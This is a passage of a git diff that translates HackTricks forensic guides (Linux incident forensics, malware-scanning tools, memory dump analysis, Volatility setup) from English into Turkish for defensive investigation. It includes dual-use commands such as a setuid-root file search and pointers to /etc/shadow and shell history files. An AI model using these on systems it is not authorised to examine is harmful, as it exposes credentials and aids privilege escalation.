izinleri tanımlamak için `/etc/groups` dosyasını inceleyin. +- Herhangi bir olağandışı grup üyeliği veya izinleri tanımlamak için `/etc/passwd` dosyasını inceleyin. -Some apps alse generates its own logs: +Bazı uygulamalar ayrıca kendi günlüklerini oluşturur: -- **SSH**: Examine _\~/.ssh/authorized_keys_ and _\~/.ssh/known_hosts_ for unauthorized remote connections. -- **Gnome Desktop**: Look into _\~/.recently-used.xbel_ for recently accessed files via Gnome applications. -- **Firefox/Chrome**: Check browser history and downloads in _\~/.mozilla/firefox_ or _\~/.config/google-chrome_ for suspicious activities. -- **VIM**: Review _\~/.viminfo_ for usage details, such as accessed file paths and search history. -- **Open Office**: Check for recent document access that may indicate compromised files. -- **FTP/SFTP**: Review logs in _\~/.ftp_history_ or _\~/.sftp_history_ for file transfers that might be unauthorized. -- **MySQL**: Investigate _\~/.mysql_history_ for executed MySQL queries, potentially revealing unauthorized database activities. -- **Less**: Analyze _\~/.lesshst_ for usage history, including viewed files and commands executed. -- **Git**: Examine _\~/.gitconfig_ and project _.git/logs_ for changes to repositories. +- **SSH**: Yetkisiz uzaktan bağlantılar için _\~/.ssh/authorized_keys_ ve _\~/.ssh/known_hosts_ dosyalarını inceleyin. +- **Gnome Masaüstü**: Gnome uygulamaları aracılığıyla yakın zamanda erişilen dosyalar için _\~/.recently-used.xbel_ dosyasını kontrol edin. +- **Firefox/Chrome**: Şüpheli etkinlikler için _\~/.mozilla/firefox_ veya _\~/.config/google-chrome_ dizinlerinde tarayıcı geçmişi ve indirmeleri kontrol edin. +- **VIM**: Erişim sağlanan dosya yolları ve arama geçmişi gibi kullanım detayları için _\~/.viminfo_ dosyasını gözden geçirin. +- **Open Office**: Tehdit altındaki dosyaları gösterebilecek yakın tarihli belge erişimlerini kontrol edin. +- **FTP/SFTP**: Yetkisiz olabilecek dosya transferleri için _\~/.ftp_history_ veya _\~/.sftp_history_ dosyalarını gözden geçirin. +- **MySQL**: Yetkisiz veritabanı etkinliklerini ortaya çıkarabilecek yürütülen MySQL sorguları için _\~/.mysql_history_ dosyasını araştırın. +- **Less**: Görüntülenen dosyalar ve yürütülen komutlar dahil olmak üzere kullanım geçmişi için _\~/.lesshst_ dosyasını analiz edin. +- **Git**: Depolardaki değişiklikler için _\~/.gitconfig_ ve proje _.git/logs_ dosyalarını inceleyin. -### USB Logs +### USB Günlükleri -[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables. +[**usbrip**](https://github.com/snovvcrash/usbrip), USB olay geçmişi tabloları oluşturmak için Linux günlük dosyalarını (`/var/log/syslog*` veya `/var/log/messages*` dağıtıma bağlı olarak) ayrıştıran saf Python 3 ile yazılmış küçük bir yazılımdır. -It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list). - -### Installation +Kullanılan tüm USB'leri **bilmek** ilginçtir ve "ihlal olaylarını" bulmak için yetkilendirilmiş bir USB listesine sahip olursanız daha faydalı olacaktır (o listedeki USB'lerin dışındaki USB'lerin kullanımı). +### Kurulum ```bash pip3 install usbrip usbrip ids download #Download USB ID database ``` - -### Examples - +### Örnekler ```bash usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user @@ -340,40 +297,30 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR usbrip ids download #Downlaod database usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` +Daha fazla örnek ve bilgi github'da: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) -More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) +## Kullanıcı Hesaplarını ve Giriş Aktivitelerini Gözden Geçirme -
+_**/etc/passwd**_, _**/etc/shadow**_ ve **güvenlik günlüklerini** olağandışı isimler veya bilinen yetkisiz olaylarla yakın zamanda oluşturulmuş veya kullanılmış hesaplar için inceleyin. Ayrıca, olası sudo brute-force saldırılarını kontrol edin.\ +Ayrıca, kullanıcılara verilen beklenmedik ayrıcalıkları kontrol etmek için _**/etc/sudoers**_ ve _**/etc/groups**_ gibi dosyaları kontrol edin.\ +Son olarak, **şifresiz** veya **kolay tahmin edilebilen** şifreleri olan hesapları arayın. -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +## Dosya Sistemini İnceleme -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} +### Kötü Amaçlı Yazılım Soruşturmasında Dosya Sistemi Yapılarını Analiz Etme -## Review User Accounts and Logon Activities +Kötü amaçlı yazılım olaylarını araştırırken, dosya sisteminin yapısı, olayların sırasını ve kötü amaçlı yazılımın içeriğini ortaya çıkaran kritik bir bilgi kaynağıdır. Ancak, kötü amaçlı yazılım yazarları, dosya zaman damgalarını değiştirmek veya veri depolamak için dosya sisteminden kaçınmak gibi bu analizi engellemek için teknikler geliştirmektedir. -Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\ -Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\ -Finally, look for accounts with **no passwords** or **easily guessed** passwords. - -## Examine File System - -### Analyzing File System Structures in Malware Investigation - -When investigating malware incidents, the structure of the file system is a crucial source of information, revealing both the sequence of events and the malware's content. However, malware authors are developing techniques to hinder this analysis, such as modifying file timestamps or avoiding the file system for data storage. - -To counter these anti-forensic methods, it's essential to: - -- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data. -- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers. -- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files. -- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content. -- **Identify setuid root files** using the command: `find / -user root -perm -04000 -print` This finds files with elevated permissions, which could be abused by attackers. -- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans. -- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together. -- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware. +Bu anti-forensic yöntemlere karşı koymak için, şunları yapmak önemlidir: +- **Olay zaman çizelgelerini görselleştirmek için** **Autopsy** gibi araçlar kullanarak **kapsamlı bir zaman çizelgesi analizi** gerçekleştirin veya detaylı zaman çizelgesi verileri için **Sleuth Kit'in** `mactime` aracını kullanın. +- **Sistemin $PATH'inde beklenmedik betikleri** araştırın; bu, saldırganlar tarafından kullanılan shell veya PHP betiklerini içerebilir. +- **Atypik dosyalar için `/dev`'i inceleyin**, çünkü genellikle özel dosyalar içerir, ancak kötü amaçlı yazılımla ilgili dosyaları barındırabilir. +- **Kötü amaçlı içeriği gizleyebilecek** ".. " (nokta nokta boşluk) veya "..^G" (nokta nokta kontrol-G) gibi isimlere sahip gizli dosyaları veya dizinleri arayın. +- **Yükseltilmiş izinlere sahip setuid root dosyalarını** bulmak için şu komutu kullanın: `find / -user root -perm -04000 -print` Bu, saldırganlar tarafından kötüye kullanılabilecek yüksek izinlere sahip dosyaları bulur. +- **Kütük tablolarındaki silme zaman damgalarını** gözden geçirerek, kök kitleri veya trojanların varlığını gösterebilecek kitlesel dosya silme işlemlerini tespit edin. +- **Birini belirledikten sonra** yan yana kötü amaçlı dosyalar için ardışık inode'ları inceleyin; çünkü bunlar birlikte yerleştirilmiş olabilir. +- **Son zamanlarda değiştirilmiş dosyalar için yaygın ikili dizinleri** (_/bin_, _/sbin_) kontrol edin; çünkü bunlar kötü amaçlı yazılım tarafından değiştirilmiş olabilir. ````bash # List recent files in a directory: ls -laR --sort=time /bin``` @@ -381,58 +328,43 @@ ls -laR --sort=time /bin``` # Sort files in a directory by inode: ls -lai /bin | sort -n``` ```` - > [!NOTE] -> Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**. +> Bir **saldırganın** **dosyaları meşru** göstermek için **zamanı değiştirebileceğini**, ancak **inode'u** **değiştiremeyeceğini** unutmayın. Eğer bir **dosyanın** aynı klasördeki diğer dosyalarla **aynı zamanda** oluşturulup değiştirildiğini gösteriyorsa, ancak **inode** **beklenmedik şekilde büyükse**, o zaman **o dosyanın zaman damgaları değiştirilmiştir**. -## Compare files of different filesystem versions +## Farklı dosya sistemi sürümlerini karşılaştırma -### Filesystem Version Comparison Summary +### Dosya Sistemi Sürüm Karşılaştırma Özeti -To compare filesystem versions and pinpoint changes, we use simplified `git diff` commands: - -- **To find new files**, compare two directories: +Dosya sistemi sürümlerini karşılaştırmak ve değişiklikleri belirlemek için basitleştirilmiş `git diff` komutlarını kullanıyoruz: +- **Yeni dosyaları bulmak için**, iki dizini karşılaştırın: ```bash git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ ``` - -- **For modified content**, list changes while ignoring specific lines: - +- **Değiştirilmiş içerik için**, belirli satırları göz ardı ederek değişiklikleri listeleyin: ```bash git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" ``` - -- **To detect deleted files**: - +- **Silinmiş dosyaları tespit etmek için**: ```bash git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ ``` +- **Filtre seçenekleri** (`--diff-filter`), eklenen (`A`), silinen (`D`) veya değiştirilen (`M`) dosyalar gibi belirli değişikliklere daraltmaya yardımcı olur. +- `A`: Eklenen dosyalar +- `C`: Kopyalanan dosyalar +- `D`: Silinen dosyalar +- `M`: Değiştirilen dosyalar +- `R`: Yeniden adlandırılan dosyalar +- `T`: Tür değişiklikleri (örneğin, dosya ile symlink arasında) +- `U`: Birleştirilmemiş dosyalar +- `X`: Bilinmeyen dosyalar +- `B`: Bozuk dosyalar -- **Filter options** (`--diff-filter`) help narrow down to specific changes like added (`A`), deleted (`D`), or modified (`M`) files. - - `A`: Added files - - `C`: Copied files - - `D`: Deleted files - - `M`: Modified files - - `R`: Renamed files - - `T`: Type changes (e.g., file to symlink) - - `U`: Unmerged files - - `X`: Unknown files - - `B`: Broken files - -## References +## Referanslar - [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) - [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) - [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -- **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** +- **Kitap: Linux Sistemleri için Kötü Amaçlı Yazılım Adli Bilişim Alan Rehberi** {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md index c7edd6650..9dd8ebfaa 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md @@ -1,12 +1,12 @@ -# Malware Analysis +# Kötü Amaçlı Yazılım Analizi {{#include ../../banners/hacktricks-training.md}} -## Forensics CheatSheets +## Adli Bilişim Hile Sayfaları [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) -## Online Services +## Çevrimiçi Hizmetler - [VirusTotal](https://www.virustotal.com/gui/home/upload) - [HybridAnalysis](https://www.hybrid-analysis.com) @@ -14,136 +14,119 @@ - [Intezer](https://analyze.intezer.com) - [Any.Run](https://any.run/) -## Offline Antivirus and Detection Tools +## Çevrimdışı Antivirüs ve Tespit Araçları ### Yara -#### Install - +#### Kurulum ```bash sudo apt-get install -y yara ``` +#### Kuralları Hazırlayın -#### Prepare rules - -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. - +Bu script'i kullanarak github'dan tüm yara kötü amaçlı yazılım kurallarını indirin ve birleştirin: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +_**rules**_ dizinini oluşturun ve çalıştırın. Bu, tüm kötü amaçlı yazılım için yara kurallarını içeren _**malware_rules.yar**_ adlı bir dosya oluşturacaktır. ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py ``` - -#### Scan - +#### Tarama ```bash yara -w malware_rules.yar image #Scan 1 file yara -w malware_rules.yar folder #Scan the whole folder ``` +#### YaraGen: Kötü amaçlı yazılımı kontrol et ve kurallar oluştur -#### YaraGen: Check for malware and Create rules - -You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) - +Binary'den yara kuralları oluşturmak için [**YaraGen**](https://github.com/Neo23x0/yarGen) aracını kullanabilirsiniz. Bu eğitimlere göz atın: [**Bölüm 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Bölüm 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Bölüm 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) ```bash - python3 yarGen.py --update - python3.exe yarGen.py --excludegood -m ../../mals/ +python3 yarGen.py --update +python3.exe yarGen.py --excludegood -m ../../mals/ ``` - ### ClamAV -#### Install - +#### Kurulum ``` sudo apt-get install -y clamav ``` - -#### Scan - +#### Tarama ```bash sudo freshclam #Update rules clamscan filepath #Scan 1 file clamscan folderpath #Scan the whole folder ``` - ### [Capa](https://github.com/mandiant/capa) -**Capa** detects potentially malicious **capabilities** in executables: PE, ELF, .NET. So it will find things such as Att\&ck tactics, or suspicious capabilities such as: +**Capa**, potansiyel olarak zararlı **yetenekleri** yürütülebilir dosyalarda tespit eder: PE, ELF, .NET. Bu nedenle, Att\&ck taktikleri veya şüpheli yetenekler gibi şeyleri bulacaktır: -- check for OutputDebugString error -- run as a service -- create process +- OutputDebugString hatasını kontrol et +- bir hizmet olarak çalış +- işlem oluştur -Get it int he [**Github repo**](https://github.com/mandiant/capa). +Bunu [**Github repo**](https://github.com/mandiant/capa) üzerinden edinebilirsiniz. ### IOCs -IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\ -To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster. +IOC, Kompromi İndikatörü anlamına gelir. Bir IOC, bazı potansiyel olarak istenmeyen yazılımları veya onaylanmış **kötü amaçlı yazılımları** tanımlayan **koşulların** bir setidir. Mavi Takımlar, bu tür tanımları **sistemlerinde** ve **ağlarında** bu tür kötü amaçlı dosyaları **arama** amacıyla kullanır.\ +Bu tanımları paylaşmak çok faydalıdır çünkü bir bilgisayarda kötü amaçlı yazılım tespit edildiğinde ve o kötü amaçlı yazılım için bir IOC oluşturulduğunda, diğer Mavi Takımlar bunu kötü amaçlı yazılımı daha hızlı tanımlamak için kullanabilir. -A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**. +IOC'leri oluşturmak veya değiştirmek için bir araç [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ +Tanımlı IOCs'leri bir cihazda **arama** yapmak için [**Redline**](https://www.fireeye.com/services/freeware/redline.html) gibi araçları kullanabilirsiniz. ### Loki -[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\ -Detection is based on four detection methods: - +[**Loki**](https://github.com/Neo23x0/Loki), Basit Kompromi İndikatörleri için bir tarayıcıdır.\ +Tespit, dört tespit yöntemine dayanmaktadır: ``` 1. File Name IOC - Regex match on full file path/name +Regex match on full file path/name 2. Yara Rule Check - Yara signature matches on file data and process memory +Yara signature matches on file data and process memory 3. Hash Check - Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files +Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files 4. C2 Back Connect Check - Compares process connection endpoints with C2 IOCs (new since version v.10) +Compares process connection endpoints with C2 IOCs (new since version v.10) ``` - ### Linux Malware Detect -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources. +[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) , paylaşımlı barındırma ortamlarında karşılaşılan tehditler etrafında tasarlanmış, GNU GPLv2 lisansı altında yayımlanan bir Linux kötü amaçlı yazılım tarayıcısıdır. Saldırılarda aktif olarak kullanılan kötü amaçlı yazılımları çıkarmak ve tespit için imzalar oluşturmak amacıyla ağ kenarı saldırı tespit sistemlerinden tehdit verilerini kullanır. Ayrıca, tehdit verileri LMD ödeme özelliği ile kullanıcı gönderimlerinden ve kötü amaçlı yazılım topluluğu kaynaklarından da elde edilmektedir. ### rkhunter -Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware. - +[**rkhunter**](http://rkhunter.sourceforge.net) gibi araçlar, dosya sistemini olası **rootkit** ve kötü amaçlı yazılımlar için kontrol etmek amacıyla kullanılabilir. ```bash sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] ``` - ### FLOSS -[**FLOSS**](https://github.com/mandiant/flare-floss) is a tool that will try to find obfuscated strings inside executables using different techniques. +[**FLOSS**](https://github.com/mandiant/flare-floss) bir dizi farklı teknik kullanarak yürütülebilir dosyalar içinde obfuscate edilmiş dizeleri bulmaya çalışan bir araçtır. ### PEpper -[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules). +[PEpper ](https://github.com/Th3Hurrican3/PEpper) yürütülebilir dosya içinde bazı temel şeyleri (ikili veriler, entropi, URL'ler ve IP'ler, bazı yara kuralları) kontrol eder. ### PEstudio -[PEstudio](https://www.winitor.com/download) is a tool that allows to get information of Windows executables such as imports, exports, headers, but also will check virus total and find potential Att\&ck techniques. +[PEstudio](https://www.winitor.com/download) Windows yürütülebilir dosyaları hakkında bilgi almayı sağlayan bir araçtır; örneğin, ithalatlar, ihracatlar, başlıklar gibi bilgileri alır, ayrıca virüs toplamını kontrol eder ve potansiyel Att\&ck tekniklerini bulur. ### Detect It Easy(DiE) -[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is a tool to detect if a file is **encrypted** and also find **packers**. +[**DiE**](https://github.com/horsicq/Detect-It-Easy/) bir dosyanın **şifreli** olup olmadığını tespit etmek ve ayrıca **paketleyicileri** bulmak için bir araçtır. ### NeoPI -[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. +[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI) metin/script dosyaları içinde **obfuscate** edilmiş ve **şifreli** içeriği tespit etmek için çeşitli **istatistiksel yöntemler** kullanan bir Python betiğidir. NeoPI'nin amacı, **gizli web shell kodunun tespitine** yardımcı olmaktır. ### **php-malware-finder** -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells. +[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) **obfuscate** edilmiş/**şüpheli kodu** ve ayrıca **malware**/webshell'lerde sıkça kullanılan **PHP** fonksiyonlarını içeren dosyaları tespit etmek için elinden gelenin en iyisini yapar. ### Apple Binary Signatures -When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** - +Bazı **malware örneklerini** kontrol ederken, imzayı her zaman **kontrol etmelisiniz** çünkü imzayı atan **geliştirici** zaten **malware** ile **ilişkili** olabilir. ```bash #Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -154,19 +137,18 @@ codesign --verify --verbose /Applications/Safari.app #Check if the signature is valid spctl --assess --verbose /Applications/Safari.app ``` +## Tespit Teknikleri -## Detection Techniques +### Dosya Yığma -### File Stacking +Eğer bir web sunucusunun **dosyalarını** içeren bir klasörün **son güncellenme tarihini** biliyorsanız, **web sunucusundaki tüm dosyaların oluşturulma ve değiştirilme tarihlerini kontrol edin** ve eğer herhangi bir tarih **şüpheli** ise, o dosyayı kontrol edin. -If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file. +### Temel Değerler -### Baselines +Eğer bir klasörün dosyaları **değiştirilmemiş olmalıysa**, klasörün **orijinal dosyalarının** **hash'ini** hesaplayabilir ve bunları **mevcut** olanlarla **karşılaştırabilirsiniz**. Değiştirilen her şey **şüpheli** olacaktır. -If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**. +### İstatistiksel Analiz -### Statistical Analysis - -When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**. +Bilgiler loglarda saklandığında, her bir web sunucusu dosyasının ne kadar kez erişildiği gibi **istatistikleri kontrol edebilirsiniz; çünkü bir web shell en çok erişilenlerden biri olabilir**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md index 1c8be749a..bb8eaf66d 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md @@ -1,49 +1,37 @@ -# Memory dump analysis +# Bellek dökümü analizi {{#include ../../../banners/hacktricks-training.md}} -
+## Başlangıç -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Start - -Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md). +**Kötü amaçlı yazılım** için **arama** yapmaya başlayın. [**Kötü Amaçlı Yazılım Analizi**](../malware-analysis.md) bölümünde belirtilen **araçları** kullanın. ## [Volatility](volatility-cheatsheet.md) -**Volatility is the main open-source framework for memory dump analysis**. This Python tool analyzes dumps from external sources or VMware VMs, identifying data like processes and passwords based on the dump's OS profile. It's extensible with plugins, making it highly versatile for forensic investigations. +**Volatility, bellek dökümü analizi için ana açık kaynak çerçevesidir**. Bu Python aracı, dış kaynaklardan veya VMware sanal makinelerinden gelen dökümleri analiz eder, dökümün işletim sistemi profiline dayalı olarak süreçler ve şifreler gibi verileri tanımlar. Eklentilerle genişletilebilir, bu da onu adli soruşturmalar için son derece çok yönlü hale getirir. -[**Find here a cheatsheet**](volatility-cheatsheet.md) +[**Burada bir kılavuz bulabilirsiniz**](volatility-cheatsheet.md) -## Mini dump crash report +## Mini döküm çökme raporu -When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump. +Döküm küçükse (sadece birkaç KB, belki birkaç MB) muhtemelen bir mini döküm çökme raporudur ve bellek dökümü değildir. ![](<../../../images/image (532).png>) -If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed: +Eğer Visual Studio yüklüyse, bu dosyayı açabilir ve süreç adı, mimari, istisna bilgisi ve yürütülen modüller gibi bazı temel bilgileri bağlayabilirsiniz: ![](<../../../images/image (263).png>) -You can also load the exception and see the decompiled instructions +Ayrıca istisnayı yükleyebilir ve decompile edilmiş talimatları görebilirsiniz. ![](<../../../images/image (142).png>) ![](<../../../images/image (610).png>) -Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump. +Her neyse, Visual Studio, dökümün derinlemesine analizi için en iyi araç değildir. -You should **open** it using **IDA** or **Radare** to inspection it in **depth**. +Bunu **IDA** veya **Radare** kullanarak **derinlemesine** incelemek için **açmalısınız**. ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md index f6a63c08f..0085c46bb 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md @@ -4,13 +4,8 @@ ​ -
- -​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} -If you need a tool that automates memory analysis with different scan levels and runs multiple Volatility3 plugins in parallel, you can use autoVolatility3:: [https://github.com/H3xKatana/autoVolatility3/](https://github.com/H3xKatana/autoVolatility3/) +Eğer farklı tarama seviyeleri ile bellek analizini otomatikleştiren ve birden fazla Volatility3 eklentisini paralel olarak çalıştıran bir araca ihtiyacınız varsa, autoVolatility3 kullanabilirsiniz:: [https://github.com/H3xKatana/autoVolatility3/](https://github.com/H3xKatana/autoVolatility3/) ```bash # Full scan (runs all plugins) python3 autovol3.py -f MEMFILE -o OUT_DIR -s full @@ -22,66 +17,57 @@ python3 autovol3.py -f MEMFILE -o OUT_DIR -s minimal python3 autovol3.py -f MEMFILE -o OUT_DIR -s normal ``` - -If you want something **fast and crazy** that will launch several Volatility plugins on parallel you can use: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) - +Eğer birkaç Volatility eklentisini paralel olarak başlatacak **hızlı ve çılgın** bir şey istiyorsanız şunu kullanabilirsiniz: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) ```bash python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatility/vol.py # It will use the most important plugins (could use a lot of space depending on the size of the memory) ``` - -## Installation +## Kurulum ### volatility3 - ```bash git clone https://github.com/volatilityfoundation/volatility3.git cd volatility3 python3 setup.py install python3 vol.py —h ``` - ### volatility2 {{#tabs}} {{#tab name="Method1"}} - ``` Download the executable from https://www.volatilityfoundation.org/26 ``` - {{#endtab}} -{{#tab name="Method 2"}} - +{{#tab name="Yöntem 2"}} ```bash git clone https://github.com/volatilityfoundation/volatility.git cd volatility python setup.py install ``` - {{#endtab}} {{#endtabs}} -## Volatility Commands +## Volatility Komutları -Access the official doc in [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan) +Resmi belgeye [Volatility komut referansı](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan) bağlantısından erişebilirsiniz. -### A note on “list” vs. “scan” plugins +### “list” ve “scan” eklentileri hakkında bir not -Volatility has two main approaches to plugins, which are sometimes reflected in their names. “list” plugins will try to navigate through Windows Kernel structures to retrieve information like processes (locate and walk the linked list of `_EPROCESS` structures in memory), OS handles (locating and listing the handle table, dereferencing any pointers found, etc). They more or less behave like the Windows API would if requested to, for example, list processes. +Volatility, bazen isimlerinde yansıyan iki ana eklenti yaklaşımına 